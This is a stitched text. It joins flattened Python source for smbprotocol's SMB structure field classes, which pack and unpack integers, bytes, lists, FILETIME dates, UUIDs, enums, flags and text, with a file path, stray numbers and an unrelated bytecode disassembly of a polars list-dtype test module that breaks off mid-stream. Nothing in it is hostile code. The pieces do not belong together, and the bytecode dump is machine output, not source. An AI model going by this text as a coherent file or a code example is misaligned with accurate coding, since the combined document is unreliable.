value = self._get_calculated_value(self.value) packed_value = self._pack_value(value) size = self._get_calculated_size(self.size, packed_value) packed_value_len = len(packed_value) if packed_value_len != size: raise ValueError( f"Invalid packed data length for field {self.name} of {packed_value_len} " f"does not fit field size of {size}" ) return packed_value def get_value(self): """ Returns the value set for the field, will run any lambda functions that is set under the value attribute and return the final value. :return: The value attribute with lambda functions run if value is a lambda function """ return self._get_calculated_value(self.value) def set_value(self, value): """ Parses, and sets the value attribute for the field. :param value: The value to be parsed and set, the allowed input types vary depending on the Field used """ if isinstance(value, memoryview): value = bytes(value) parsed_value = self._parse_value(value) self.value = parsed_value def unpack(self, data): """ Takes in a byte string and set's the field value based on field definition. :param structure: The message structure class object :param data: The byte string of the data to unpack :return: The remaining data for subsequent fields """ size = self._get_calculated_size(self.size, data) self.set_value(data[0:size]) return data[len(self) :] @abstractmethod def _pack_value(self, value): """ Packs the value passed in according to the rules of the FieldType. :param value: The value to be packed, this is derived by _get_calculated_value(self.value) :return: A byte string of the data once packed """ pass # pragma: no cover @abstractmethod def _parse_value(self, value): """ Parses the value into the FieldType type, this also validates that the value is allowable by the FieldType. :param value: The value to parse :return: The value that has been parsed/casted to the correct value """ pass # pragma: no cover @abstractmethod def _get_packed_size(self): """ Get's the size of the data once it has been packed. Depending on the FieldType, this can either be pre-set or calculated when called. :return: The size of the field once it is packed """ pass # pragma: no cover @abstractmethod def _to_string(self): """ Creates a string which is a human readable representation of the value. The output is dependent on the field implementation. :return: string of the field value """ pass # pragma: no cover def _get_calculated_value(self, value): """ Get's the final value of the field and runs the lambda functions recursively until a final value is derived. :param value: The value to calculate/expand :return: The final value """ if isinstance(value, types.LambdaType): expanded_value = value(self.structure) return self._get_calculated_value(expanded_value) else: return self._parse_value(value) def _get_calculated_size(self, size, data): """ Get's the final size of the field and runs the lambda functions recursively until a final size is derived. If size is None then it will just return the length of the data as it is assumed it is the final field (None should only be set on size for the final field). :param size: The size to calculate/expand :param data: The data that the size is being calculated for :return: The final size """ if size is None: return len(data) elif isinstance(size, types.LambdaType): expanded_size = size(self.structure) return self._get_calculated_size(expanded_size, data) else: return size def _get_struct_format(self, size, unsigned=True): """ Get's the format specified for use in struct. This is only designed for 1, 2, 4, or 8 byte values and will throw an exception if it is anything else. :param size: The size as an int :return: The struct format specifier for the size specified """ if isinstance(size, types.LambdaType): size = size(self.structure) struct_format = {1: "B", 2: "H", 4: "L", 8: "Q"} if size not in struct_format.keys(): raise InvalidFieldDefinition(f"Cannot struct format of size {size}") format_char = struct_format[size] if not unsigned: format_char = format_char.lower() return format_char class IntField(Field): def __init__(self, size, unsigned=True, **kwargs): """ Used to store an int value for a field. The size for these values MUST be 1, 2, 4, or 8 and if another size is required use the BytesField instead and store the values as bytes. :param size: The size of the integer when packed :param kwargs: Any other kwarg to be sent to Field() """ if size not in [1, 2, 4, 8]: raise InvalidFieldDefinition( f"IntField size must have a value of 1, 2, 4, or 8 not {size}" ) self.unsigned = unsigned super().__init__(size=size, **kwargs) def _pack_value(self, value): struct_string = self._endian_prefix + self._get_struct_format( self.size, self.unsigned ) packed_int = struct.pack(struct_string, value) return packed_int def _parse_value(self, value): if value is None: int_value = 0 elif isinstance(value, types.LambdaType): int_value = value elif isinstance(value, bytes): struct_string = self._endian_prefix + self._get_struct_format( self.size, self.unsigned ) int_value = struct.unpack(struct_string, value)[0] elif isinstance(value, int): int_value = value else: raise TypeError( f"Cannot parse value for field {self.name} of type {type(value).__name__} to an int" ) return int_value def _get_packed_size(self): return self.size def _to_string(self): return str(self._get_calculated_value(self.value)) class BytesField(Field): """ Used to store a raw bytes value as a field. Is the most universal and can convert from most objects to a bytes string. Use this is the field can contain multiple values and parsing will be done outside of the class. """ def _pack_value(self, value): return value def _parse_value(self, value): if value is None: bytes_value = b"" elif isinstance(value, types.LambdaType): bytes_value = value elif isinstance(value, int): struct_string = self._endian_prefix + self._get_struct_format(self.size) bytes_value = struct.pack(struct_string, value) elif isinstance(value, Structure): bytes_value = value.pack() elif isinstance(value, bytes): bytes_value = value else: raise TypeError( f"Cannot parse value for field {self.name} of type {type(value).__name__} to a byte string" ) return bytes_value def _get_packed_size(self): bytes_value = self._get_calculated_value(self.value) return len(bytes_value) def _to_string(self): bytes_value = self._get_calculated_value(self.value) return _bytes_to_hex(bytes_value, pretty=True, hex_per_line=0) class ListField(Field): def __init__( self, list_count=None, list_type=BytesField(), unpack_func=None, **kwargs ): """ Used to store a list of values that are the same time, the list can contain both fixed length values or variable length values but the former is easier to use as it does not require lambda functions to unpack the values. If the list values are different types, then the BytesField list_type should be used and the data will automatically will be converted to a bytes object. If appending a value to the list, ensure the value it added as an actual *Field() object and not just the raw value. :param list_count: The number of entries in the list, the value can be an int, lambda function or None (for variable length). The lambda function is only evaluated in the pack and unpack methods. This must be set if unpack_func is not set so it can unpack the data receved from the server. :param list_type: The *Field() definition for each list entry, defaults to a variable length BytesField. If unpack_func is not set, the size attribute must be set. :param unpack_func: A lambda function used during the unpack method to unpack the data received from the server to a list. It takes in the (structure, data) arguments which is the structure of the whole packet and the remaining data left to be unpacked. This MUST be used when the list contains variable length values. :param kwargs: Any other kwarg to be sent to Field() """ if list_count is not None and not ( isinstance(list_count, int) or isinstance(list_count, types.LambdaType) ): raise InvalidFieldDefinition( "ListField list_count must be an int, lambda, or None for a variable list length" ) self.list_count = list_count if not isinstance(list_type, Field): raise InvalidFieldDefinition( "ListField list_type must be a Field definition" ) self.list_type = list_type if unpack_func is not None and not isinstance(unpack_func, types.LambdaType): raise InvalidFieldDefinition( "ListField unpack_func must be a lambda function or None" ) elif unpack_func is None and (list_count is None or list_type.size is None): raise InvalidFieldDefinition( "ListField must either define " "unpack_func as a lambda or set " "list_count and list_size with a " "size" ) self.unpack_func = unpack_func super().__init__(**kwargs) def __getitem__(self, item): return self.get_value()[item] def get_value(self): list_value = [] if isinstance(self.value, types.LambdaType): value = self._get_calculated_value(self.value) else: value = self.value for entry in value: list_value.append(entry.get_value()) return list_value def _pack_value(self, value): data = b"" for value in list(value): data += value.pack() return data def _parse_value(self, value): if value is None: list_value = [] elif isinstance(value, types.LambdaType): return value elif isinstance(value, bytes) and isinstance( self.unpack_func, types.LambdaType ): list_value = self.unpack_func(self.structure, value) elif isinstance(value, bytes): list_value = self._create_list_from_bytes( self.list_count, self.list_type, value ) elif isinstance(value, list): list_value = value else: raise TypeError( f"Cannot parse value for field {self.name} of type {type(value).__name__} to a list" ) list_value = [self._parse_sub_value(v) for v in list_value] return list_value def _parse_sub_value(self, value): if isinstance(value, Field): new_field = value elif isinstance(value, Structure): new_field = StructureField( size=len(value), structure_type=type(value), default=value, ) new_field.name = f"{self.name} list entry" new_field.structure = value new_field.set_value(new_field.default) else: new_field = copy.deepcopy(self.list_type) new_field.name = f"{self.name} list entry" new_field.set_value(value) return new_field def _get_packed_size(self): list_value = self._get_calculated_value(self.value) size = 0 for field in list(list_value): size += len(field) return size def _to_string(self): list_value = self._get_calculated_value(self.value) list_string = [_indent_lines(str(v), TAB) for v in list(list_value)] if len(list_string) == 0: string = "[]" else: list_str = ",\n".join(list_string) string = f"[\n{list_str}\n]" return string def _create_list_from_bytes(self, list_count, list_type, value): if isinstance(list_count, types.LambdaType): list_count = list_count(self.structure) return self._create_list_from_bytes(list_count, list_type, value) list_value = [] for idx in range(0, list_count): new_field = copy.deepcopy(list_type) value = new_field.unpack(value) list_value.append(new_field) return list_value class StructureField(Field): def __init__(self, structure_type, **kwargs): """ Used to store a message packet Structure object as a field. Can store both an actual Structure value or a byte string. :param structure_type: The message structure type, e.g. SMB2NegotiateRequest. Used to marshal a byte string to a structure object when unpacking or setting a value :param kwargs: Any other kwarg to be sent to Field() """ self.structure_type = structure_type super().__init__(**kwargs) def __setitem__(self, key, value): field = self._get_field(key) field.set_value(value) def __getitem__(self, key): return self._get_field(key) def set_structure_type(self, structure_type): self.structure_type = structure_type self.set_value(self.value) def _pack_value(self, value): if isinstance(value, Structure): value = value.pack() return value def _parse_value(self, value): if value is None: structure_value = b"" elif isinstance(value, types.LambdaType): structure_value = value elif isinstance(value, bytes): structure_value = value elif isinstance(value, Structure): structure_value = value else: raise TypeError( f"Cannot parse value for field {self.name} of type {type(value).__name__} to a structure" ) if ( isinstance(structure_value, bytes) and self.structure_type and structure_value != b"" ): if isinstance(self.structure_type, types.LambdaType): structure_type = self.structure_type(self.structure) else: structure_type = self.structure_type structure = structure_type() structure.unpack(structure_value) structure_value = structure return structure_value def _get_packed_size(self): structure_value = self._get_calculated_value(self.value) return len(structure_value) def _to_string(self): structure_value = self._get_calculated_value(self.value) return str(structure_value) def _get_field(self, key): structure_value = self._get_calculated_value(self.value) if isinstance(structure_value, bytes): raise ValueError( f"Cannot get field {key} when structure is defined as a byte string" ) field = structure_value._get_field(key) return field class DateTimeField(Field): EPOCH_FILETIME = 116444736000000000 # epoch as a MS FILETIME int def __init__(self, size=None, **kwargs): """ [MS-DTYP] 0.0 2017-09-15 2.3.3 FILETIME The FILETIME structure is a 64-it value that represents the number of 100 nanoseconds intervals that have elapsed since January 1, 1601 UTC. This is used to convert the FILETIME int value to a native Python datetime object. While the format FILETIME is used when communicating with the server, this type allows Python code to interact with datetime objects natively with all the conversions handled at pack/unpack time. :param size: Must be set to None or 8, this is so we can check/override :param kwargs: Any other kwarg to be sent to Field() """ if not (size is None or size == 8): raise InvalidFieldDefinition( f"DateTimeField type must have a size of 8 not {size}" ) super().__init__(size=8, **kwargs) def _pack_value(self, value): utc_tz = datetime.timezone.utc utc_dt = value.replace(tzinfo=value.tzinfo if value.tzinfo else utc_tz) td = utc_dt.astimezone(utc_tz) - datetime.datetime( 1970, 1, 1, 0, 0, 0, tzinfo=utc_tz ) epoch_time_ms = td.microseconds + (td.seconds + td.days * 24 * 3600) * 10**6 ns100 = self.EPOCH_FILETIME + (epoch_time_ms * 10) struct_string = self._endian_prefix + self._get_struct_format(8) bytes_value = struct.pack(struct_string, ns100) return bytes_value def _parse_value(self, value): if value is None: datetime_value = datetime.datetime.today() elif isinstance(value, types.LambdaType): datetime_value = value elif isinstance(value, bytes): struct_string = self._endian_prefix + self._get_struct_format(8) int_value = struct.unpack(struct_string, value)[0] return self._parse_value(int_value) # just parse the value again elif isinstance(value, int): time_microseconds = (value - self.EPOCH_FILETIME) // 10 try: datetime_value = datetime.datetime(1970, 1, 1) + datetime.timedelta( microseconds=time_microseconds ) except OverflowError: datetime_value = datetime.datetime.max elif isinstance(value, datetime.datetime): datetime_value = value else: raise TypeError( f"Cannot parse value for field {self.name} of type {type(value).__name__} to a datetime" ) return datetime_value def _get_packed_size(self): return self.size def _to_string(self): datetime_value = self._get_calculated_value(self.value) return datetime_value.isoformat(" ") class UuidField(Field): def __init__(self, size=None, **kwargs): """ Used to store a UUID (GUID) as a Python UUID object. :param size: Must be set to None or 16, this is so we can check/override :param kwargs: Any other kwarg to be sent to Field() """ if not (size is None or size == 16): raise InvalidFieldDefinition( f"UuidField type must have a size of 16 not {size}" ) super().__init__(size=16, **kwargs) def _pack_value(self, value): if self.little_endian: return value.bytes else: return value.bytes_le def _parse_value(self, value): if value is None: uuid_value = uuid.UUID(bytes=b"\x00" * 16) elif isinstance(value, bytes) and self.little_endian: uuid_value = uuid.UUID(bytes=value) elif isinstance(value, bytes) and not self.little_endian: uuid_value = uuid.UUID(bytes_le=value) elif isinstance(value, int): uuid_value = uuid.UUID(int=value) elif isinstance(value, uuid.UUID): uuid_value = value elif isinstance(value, types.LambdaType): uuid_value = value else: raise TypeError( f"Cannot parse value for field {self.name} of type {type(value).__name__} to a uuid" ) return uuid_value def _get_packed_size(self): return self.size def _to_string(self): uuid_value = self._get_calculated_value(self.value) return str(uuid_value) class EnumField(IntField): def __init__(self, enum_type, enum_strict=True, **kwargs): self.enum_type = enum_type self.enum_strict = enum_strict super().__init__(**kwargs) def _parse_value(self, value): int_value = super()._parse_value(value) valid = False for flag_value in vars(self.enum_type).values(): if int_value == flag_value: valid = True break if not valid and int_value != 0 and self.enum_strict: raise ValueError( f"Enum value {int_value} does not exist in enum type {self.enum_type}" ) return int_value def _to_string(self): enum_name = None value = self._get_calculated_value(self.value) for enum, enum_value in vars(self.enum_type).items(): if value == enum_value: enum_name = enum break if enum_name is None: return f"({value}) UNKNOWN_ENUM" else: return f"({value}) {enum_name}" class FlagField(IntField): def __init__(self, flag_type, flag_strict=True, **kwargs): self.flag_type = flag_type self.flag_strict = flag_strict super().__init__(**kwargs) def set_flag(self, flag): valid = False for value in vars(self.flag_type).values(): if flag == value: valid = True break if not valid and self.flag_strict: raise ValueError(f"Flag value does not exist in flag type {self.flag_type}") self.set_value(self.value | flag) def has_flag(self, flag): return self.value & flag == flag def _parse_value(self, value): int_value = super()._parse_value(value) current_val = int_value for value in vars(self.flag_type).values(): if isinstance(value, int): current_val &= ~value if current_val != 0 and self.flag_strict: raise ValueError( f"Invalid flag for field {self.name} value set {current_val}" ) return int_value def _to_string(self): field_value = self._get_calculated_value(self.value) if field_value == 0: return "0" flags = [] for flag, value in vars(self.flag_type).items(): if isinstance(value, int) and self.has_flag(value): flags.append(flag) flags.sort() return f"({field_value}) " + (", ".join(flags)) class BoolField(Field): def __init__(self, size=1, **kwargs): """ Used to store a boolean value in 1 byte. b"\x00" is False while b"\x01" is True. :param kwargs: Any other kwargs to be sent to Field() """ if size != 1: raise InvalidFieldDefinition( f"BoolField size must have a value of 1, not {size}" ) super().__init__(size=size, **kwargs) def _pack_value(self, value): return b"\x01" if value else b"\x00" def _parse_value(self, value): if value is None: bool_value = False elif isinstance(value, bool): bool_value = value elif isinstance(value, bytes): bool_value = value == b"\x01" elif isinstance(value, types.LambdaType): bool_value = value else: raise TypeError( f"Cannot parse value for field {self.name} of type {type(value).__name__} to a bool" ) return bool_value def _get_packed_size(self): return 1 def _to_string(self): return str(self._get_calculated_value(self.value)) class TextField(BytesField): def __init__(self, encoding="utf-16-le", null_terminated=False, **kwargs): self.encoding = encoding self.null_terminated = null_terminated super().__init__(**kwargs) def _pack_value(self, value): if self.null_terminated: value += "\x00" return to_bytes(value, encoding=self.encoding) def _parse_value(self, value): if value is None: text_value = "" elif isinstance(value, bytes): text_value = to_text(value, encoding=self.encoding) elif isinstance(value, str): text_value = value elif isinstance(value, types.LambdaType): text_value = value else: raise TypeError( f"Cannot parse value for field {self.name} of type {type(value).__name__} to a text string" ) return text_value def _get_packed_size(self): text_value = self._get_calculated_value(self.value) size = len(to_bytes(text_value, encoding=self.encoding)) if self.null_terminated: char_len = len("\x00".encode(self.encoding)) size += char_len return size def _to_string(self): return self.value def unpack(self, data): null_byte = "\x00".encode(self.encoding) if self.null_terminated and self.size is None: null_index = bytes(data).find(null_byte) if null_index != -1: actual_index = int( math.ceil(null_index / len(null_byte)) * len(null_byte) ) self.set_value(data[0:actual_index]) return data[actual_index + len(null_byte) :] size = self._get_calculated_size(self.size, data) raw_value = data[0:size] if self.null_terminated and bytes(raw_value).endswith(null_byte): raw_value = raw_value[: len(null_byte) * -1] self.set_value(raw_value) return data[size:]
data/smbprotocol-1.12.0/src/smbprotocol/structure.py
15,698
8,995
446,861
LOAD_CONST 0 LOAD_CONST ('annotations',) IMPORT_NAME __future__ IMPORT_FROM annotations STORE_NAME annotations POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pickle STORE_NAME pickle LOAD_CONST 0 LOAD_CONST ('date', 'datetime', 'time', 'timedelta') IMPORT_NAME datetime IMPORT_FROM date STORE_NAME date IMPORT_FROM datetime STORE_NAME datetime IMPORT_FROM time STORE_NAME time IMPORT_FROM timedelta STORE_NAME timedelta POP_TOP LOAD_CONST 0 LOAD_CONST ('Decimal',) IMPORT_NAME decimal IMPORT_FROM Decimal STORE_NAME Decimal POP_TOP LOAD_CONST 0 LOAD_CONST ('TYPE_CHECKING', 'Any') IMPORT_NAME typing IMPORT_FROM TYPE_CHECKING STORE_NAME TYPE_CHECKING IMPORT_FROM Any STORE_NAME Any POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pandas STORE_NAME pd LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST None IMPORT_NAME polars STORE_NAME pl LOAD_CONST 0 LOAD_CONST ('assert_frame_equal', 'assert_series_equal') IMPORT_NAME polars.testing IMPORT_FROM assert_frame_equal STORE_NAME assert_frame_equal IMPORT_FROM assert_series_equal STORE_NAME assert_series_equal POP_TOP LOAD_NAME TYPE_CHECKING POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('PolarsDataType',) IMPORT_NAME polars IMPORT_FROM PolarsDataType STORE_NAME PolarsDataType POP_TOP LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_dtype at 0x7f8b2000bdb0, file "f.py", line 18> LOAD_CONST 'test_dtype' MAKE_FUNCTION STORE_NAME test_dtype LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_categorical at 0x7f8b2000b660, file "f.py", line 56> LOAD_CONST 'test_categorical' MAKE_FUNCTION STORE_NAME test_categorical LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_decimal at 0x7f8b2000bd20, file "f.py", line 80> LOAD_CONST 'test_decimal' MAKE_FUNCTION STORE_NAME test_decimal LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_cast_inner at 0x7f8b2000b540, file "f.py", line 89> LOAD_CONST 'test_cast_inner' MAKE_FUNCTION STORE_NAME test_cast_inner LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_empty_group_by_result_3521 at 0x7f8e2fe41b70, file "f.py", line 102> LOAD_CONST 'test_list_empty_group_by_result_3521' MAKE_FUNCTION STORE_NAME test_list_empty_group_by_result_3521 LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_fill_null at 0x7f8e2fe41150, file "f.py", line 124> LOAD_CONST 'test_list_fill_null' MAKE_FUNCTION STORE_NAME test_list_fill_null LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_fill_list at 0x7f8e2fe41f60, file "f.py", line 136> LOAD_CONST 'test_list_fill_list' MAKE_FUNCTION STORE_NAME test_list_fill_list LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_empty_list_construction at 0x7f8e2fe414b0, file "f.py", line 147> LOAD_CONST 'test_empty_list_construction' MAKE_FUNCTION STORE_NAME test_empty_list_construction LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_hash at 0x7f8a9469bc90, file "f.py", line 159> LOAD_CONST 'test_list_hash' MAKE_FUNCTION STORE_NAME test_list_hash LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_diagonal_concat at 0x7f8a9469bae0, file "f.py", line 167> LOAD_CONST 'test_list_diagonal_concat' MAKE_FUNCTION STORE_NAME test_list_diagonal_concat LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_inner_type_categorical_on_rechunk at 0x7f8a9469b5d0, file "f.py", line 178> LOAD_CONST 'test_inner_type_categorical_on_rechunk' MAKE_FUNCTION STORE_NAME test_inner_type_categorical_on_rechunk LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_local_categorical_list at 0x7f8a9469b300, file "f.py", line 186> LOAD_CONST 'test_local_categorical_list' MAKE_FUNCTION STORE_NAME test_local_categorical_list LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_group_by_list_column at 0x7f8a9469b9c0, file "f.py", line 199> LOAD_CONST 'test_group_by_list_column' MAKE_FUNCTION STORE_NAME test_group_by_list_column LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_group_by_multiple_keys_contains_list_column at 0x7f8a9469b1e0, file "f.py", line 215> LOAD_CONST 'test_group_by_multiple_keys_contains_list_column' MAKE_FUNCTION STORE_NAME test_group_by_multiple_keys_contains_list_column LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_fast_explode_flag at 0x7f8a9469b030, file "f.py", line 234> LOAD_CONST 'test_fast_explode_flag' MAKE_FUNCTION STORE_NAME test_fast_explode_flag LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_fast_explode_on_list_struct_6208 at 0x7f8a9469bdb0, file "f.py", line 247> LOAD_CONST 'test_fast_explode_on_list_struct_6208' MAKE_FUNCTION STORE_NAME test_fast_explode_on_list_struct_6208 LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_flat_aggregation_to_list_conversion_6918 at 0x7f8a9469b930, file "f.py", line 282> LOAD_CONST 'test_flat_aggregation_to_list_conversion_6918' MAKE_FUNCTION STORE_NAME test_flat_aggregation_to_list_conversion_6918 LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_count_matches_deprecated at 0x7f8a9469b0c0, file "f.py", line 290> LOAD_CONST 'test_list_count_matches_deprecated' MAKE_FUNCTION STORE_NAME test_list_count_matches_deprecated LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_count_matches at 0x7f8a9469b420, file "f.py", line 301> LOAD_CONST 'test_list_count_matches' MAKE_FUNCTION STORE_NAME test_list_count_matches LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_sum_and_dtypes at 0x7f8ab62f54b0, file "f.py", line 307> LOAD_CONST 'test_list_sum_and_dtypes' MAKE_FUNCTION STORE_NAME test_list_sum_and_dtypes LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_mean at 0x7f8ab62f5150, file "f.py", line 353> LOAD_CONST 'test_list_mean' MAKE_FUNCTION STORE_NAME test_list_mean LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_all at 0x7f8ab62f5ed0, file "f.py", line 363> LOAD_CONST 'test_list_all' MAKE_FUNCTION STORE_NAME test_list_all LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_any at 0x7f8ab62f56f0, file "f.py", line 381> LOAD_CONST 'test_list_any' MAKE_FUNCTION STORE_NAME test_list_any LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_min_max at 0x7f8ab62f5b70, file "f.py", line 399> LOAD_CONST 'test_list_min_max' MAKE_FUNCTION STORE_NAME test_list_min_max LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_min_max_13978 at 0x7f8ab62f5c90, file "f.py", line 424> LOAD_CONST 'test_list_min_max_13978' MAKE_FUNCTION STORE_NAME test_list_min_max_13978 LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_fill_null_empty_list at 0x7f8ab62f5a50, file "f.py", line 453> LOAD_CONST 'test_fill_null_empty_list' MAKE_FUNCTION STORE_NAME test_fill_null_empty_list LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_nested_logical at 0x7f8ab62f5e40, file "f.py", line 457> LOAD_CONST 'test_nested_logical' MAKE_FUNCTION STORE_NAME test_nested_logical LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_null_list_construction_and_materialization at 0x7f8ab62f5db0, file "f.py", line 463> LOAD_CONST 'test_null_list_construction_and_materialization' MAKE_FUNCTION STORE_NAME test_null_list_construction_and_materialization LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_logical_type_struct_agg_list at 0x7f8ab62f51e0, file "f.py", line 469> LOAD_CONST 'test_logical_type_struct_agg_list' MAKE_FUNCTION STORE_NAME test_logical_type_struct_agg_list LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_logical_parallel_list_collect at 0x7f8ab62f5660, file "f.py", line 484> LOAD_CONST 'test_logical_parallel_list_collect' MAKE_FUNCTION STORE_NAME test_logical_parallel_list_collect LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_recursive_categorical_cast at 0x7f8ab62f5d20, file "f.py", line 506> LOAD_CONST 'test_list_recursive_categorical_cast' MAKE_FUNCTION STORE_NAME test_list_recursive_categorical_cast LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('data', 'expected_data', 'dtype') LOAD_CONST None LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST None LOAD_CONST 1 BUILD_LIST LOAD_CONST 2 BUILD_LIST BUILD_LIST LOAD_NAME pl LOAD_ATTR Int64 BUILD_TUPLE LOAD_CONST None LOAD_CONST 1.0 LOAD_CONST 2.0 BUILD_LIST LOAD_CONST None LOAD_CONST 1.0 BUILD_LIST LOAD_CONST 2.0 BUILD_LIST BUILD_LIST LOAD_NAME pl LOAD_ATTR Float64 BUILD_TUPLE LOAD_CONST None LOAD_CONST 'x' LOAD_CONST 'y' BUILD_LIST LOAD_CONST None LOAD_CONST 'x' BUILD_LIST LOAD_CONST 'y' BUILD_LIST BUILD_LIST LOAD_NAME pl LOAD_ATTR String BUILD_TUPLE LOAD_CONST None LOAD_CONST True LOAD_CONST False BUILD_LIST LOAD_CONST None LOAD_CONST True BUILD_LIST LOAD_CONST False BUILD_LIST BUILD_LIST LOAD_NAME pl LOAD_ATTR Boolean BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST 'list[Any]' LOAD_CONST 'list[Any]' LOAD_CONST 'PolarsDataType' LOAD_CONST 'None' LOAD_CONST ('data', 'expected_data', 'dtype', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_non_nested_cast_to_list at 0x7f8ab62f5300, file "f.py", line 514> LOAD_CONST 'test_non_nested_cast_to_list' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_non_nested_cast_to_list LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_new_from_index_logical at 0x7f8ab62f5420, file "f.py", line 532> LOAD_CONST 'test_list_new_from_index_logical' MAKE_FUNCTION STORE_NAME test_list_new_from_index_logical LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_recursive_time_unit_cast at 0x7f8ab62f5270, file "f.py", line 548> LOAD_CONST 'test_list_recursive_time_unit_cast' MAKE_FUNCTION STORE_NAME test_list_recursive_time_unit_cast LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_null_list_categorical_cast at 0x7f8ab62f5f60, file "f.py", line 557> LOAD_CONST 'test_list_null_list_categorical_cast' MAKE_FUNCTION STORE_NAME test_list_null_list_categorical_cast LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_null_pickle at 0x7f8ab62f5780, file "f.py", line 564> LOAD_CONST 'test_list_null_pickle' MAKE_FUNCTION STORE_NAME test_list_null_pickle LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_struct_with_nulls_as_list at 0x7f8a954cded0, file "f.py", line 569> LOAD_CONST 'test_struct_with_nulls_as_list' MAKE_FUNCTION STORE_NAME test_struct_with_nulls_as_list LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_amortized_iter_clear_settings_10126 at 0x7f8a954cd030, file "f.py", line 583> LOAD_CONST 'test_list_amortized_iter_clear_settings_10126' MAKE_FUNCTION STORE_NAME test_list_amortized_iter_clear_settings_10126 LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_inner_cast_physical_11513 at 0x7f8a954cd150, file "f.py", line 596> LOAD_CONST 'test_list_inner_cast_physical_11513' MAKE_FUNCTION STORE_NAME test_list_inner_cast_physical_11513 LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('dtype', 'expected') LOAD_NAME pl LOAD_ATTR List LOAD_CONST True BUILD_TUPLE LOAD_NAME pl LOAD_ATTR Struct LOAD_CONST True BUILD_TUPLE LOAD_NAME pl LOAD_ATTR String LOAD_CONST False BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST 'PolarsDataType' LOAD_CONST 'bool' LOAD_CONST 'None' LOAD_CONST ('dtype', 'expected', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_datatype_is_nested at 0x7f8a954cdc00, file "f.py", line 619> LOAD_CONST 'test_datatype_is_nested' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_datatype_is_nested LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_series_construction_with_dtype_11849_11878 at 0x7f8a954cdae0, file "f.py", line 626> LOAD_CONST 'test_list_series_construction_with_dtype_11849_11878' MAKE_FUNCTION 